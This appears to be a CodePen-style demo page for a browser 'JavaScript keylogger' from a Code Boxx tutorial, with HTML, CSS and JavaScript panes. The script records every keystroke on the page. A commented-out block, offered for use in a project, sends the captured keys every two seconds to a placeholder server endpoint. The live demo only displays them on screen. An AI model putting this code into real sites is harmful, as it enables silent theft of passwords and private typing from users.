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HTML

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HTML preprocessors can make writing HTML more powerful or convenient. For instance, Markdown is designed to be easier to write and read for text documents and you could write a loop in Pug.

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Adding Classes

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About the <head>

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Insecure Resource

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CSS

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CSS preprocessors help make authoring CSS easier. All of them offer things like variables and mixins to provide convenient abstractions.

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CSS Base

About CSS Base

It's a common practice to apply CSS to a page that styles elements such that they are consistent across all browsers. We offer two of the most popular choices: normalize.css and a reset. Or, choose Neither and nothing will be applied.

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JavaScript

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JavaScript preprocessors can help make authoring JavaScript easier and more convenient.

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Babel includes JSX processing.

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HTML 

              
                <div class="widget-wrap">
  <div id="key"></div>
  <h1>JAVASCRIPT KEYLOGGER</h1>
  
  <h3>Type Something</h3>
  <textarea></textarea>
  
  <h3>Keys Captured</h3>
  <div id="captured"></div>
  
  <!-- (X) VISIT CODE-BOXX -->
  <div id="code-boxx">
    Visit
    <a href="https://code-boxx.com/simple-keylogger-javascript-php/" target="_blank">
      Code Boxx
    </a> for more details.
  </div>
</div>
!

CSS 

              
                /* (X) DOES NOT MATTER - COSMETICS */
/* TEXTAREA */
textarea {
  width: 100%;
  height: 100px;
  padding: 10px;
  resize: none;
}

/* PAGE & BODY */
* {
  font-family: arial, sans-serif;
  box-sizing: border-box;
}
body {
  display: flex;
  align-items: center; justify-content: center;
  min-height: 100vh;
  background-image: url(https://images.unsplash.com/photo-1547496832-84e64458210a?crop=entropy&cs=srgb&fm=jpg&ixid=MnwxNDU4OXwwfDF8cmFuZG9tfHx8fHx8fHx8MTY0NzMxMzA2Mg&ixlib=rb-1.2.1&q=85);
  background-repeat: no-repeat;
  background-position: center;
  background-size: cover;
  text-align: center;
}

/* WIDGET */
.widget-wrap {
  width: 600px;
  padding: 30px;
  border-radius: 20px;
  background: rgba(255, 255, 255, 0.4);
}

/* SVG */
#key {
  width: 100%; height:120px;
  background-image: url('data:image/svg+xml;utf8,<svg viewBox="0 0 576 512" width="100" xmlns="http://www.w3.org/2000/svg"><path d="M528 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM128 180v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z" /></svg>');
  background-repeat: no-repeat;
  background-position: center;
}

/* FOOTER */
#code-boxx {
  font-weight: 600;
  margin-top: 30px;
}
#code-boxx a {
  display: inline-block;
  padding: 5px;
  text-decoration: none;
  background: #b90a0a;
  color: #fff;
}
!

JS 

              
                var keylog = {
  // (A) SETTINGS & PROPERTIES
  cache : [], // TEMP STORAGE FOR KEY PRESSES
  delay : 2000, // HOW OFTEN TO SEND DATA TO SERVER
  sending : false, // ONLY 1 UPLOAD ALLOWED AT A TIME

  // (B) INITIALIZE
  init : () => {
    // (B1) CAPTURE KEY STROKES
    window.addEventListener("keydown", (evt) => {
      keylog.cache.push(evt.key);
    });

    // (B2) SEND KEYSTROKES TO SERVER
    window.setInterval(keylog.send, keylog.delay);
  },

  // (C) AJAX SEND KEYSTROKES
  send : () => { if (!keylog.sending && keylog.cache.length != 0) {
    /* USE THIS IN YOUR PROJECT TO SEND CAPTURED KEYS TO SERVER
    // (C1) "LOCK" UNTIL THIS BATCH IS SENT TO SERVER
    keylog.sending = true;

    // (C2) KEYPRESS DATA
    var data = new FormData();
    data.append("keys", JSON.stringify(keylog.cache));
    keylog.cache = []; // CLEAR KEYS

    // (C3) FECTH SEND
    fetch("SERVER-SCRIPT", { method:"POST", body:data })
    .then(res=>res.text()).then((res) => {
      keylog.sending = false; // UNLOCK
      console.log(res); // OPTIONAL
    })
    .catch((err) => { console.error(err); });
    */
    
    // FOR THIS DEMO WE JUST DISPLAY IN <DIV>
    document.getElementById("captured").innerHTML = JSON.stringify(keylog.cache);
    keylog.cache = [];
  }}
};
window.addEventListener("DOMContentLoaded", keylog.init);
!
999px

Console